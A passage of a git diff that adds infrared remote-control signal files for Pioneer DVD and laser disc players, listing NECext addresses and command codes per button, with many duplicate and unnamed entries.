+# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir new file mode 100644 index 000000000..8dfc2fa64 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 98 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISC_LEFT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISC_RIGHT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MULTI_LEFT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MULTI_RIGHT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: STEP_LEFT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: STEP_RIGHT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9A 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9B 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir new file mode 100644 index 000000000..89e0db660 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 63 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 64 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 6B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 6D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 7A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 7C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: EF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir new file mode 100644 index 000000000..33adb0a0f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir @@ -0,0 +1,752 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 98 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 98 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 98 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CONDITION_MEMORY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: LAST_MEMORY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SUB_TITLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CHAPTER/TIME +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: STEP<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: STEP>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CONDITION_MEMORY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: LAST_MEMORY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CHP/TIME +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CONDITION +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISC_SIDE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: LAST_MEMO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DOWNV +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: LEFT< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RIGHT> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: STEP< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: STEP> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: UP^ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9A 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9A 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9A 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9A 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9A 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9B 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9B 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9B 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9B 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9B 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: NEXT_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: TRACK> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: PREVIOUS_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: TRACK< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir new file mode 100644 index 000000000..5dbccc2a7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir @@ -0,0 +1,458 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 63 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 63 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 64 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 64 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BA 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BB 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: EC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: EC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: EF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: EF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: F6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: FC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: FE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir new file mode 100644 index 000000000..3a99c9f67 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 98 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9A 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9B 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser 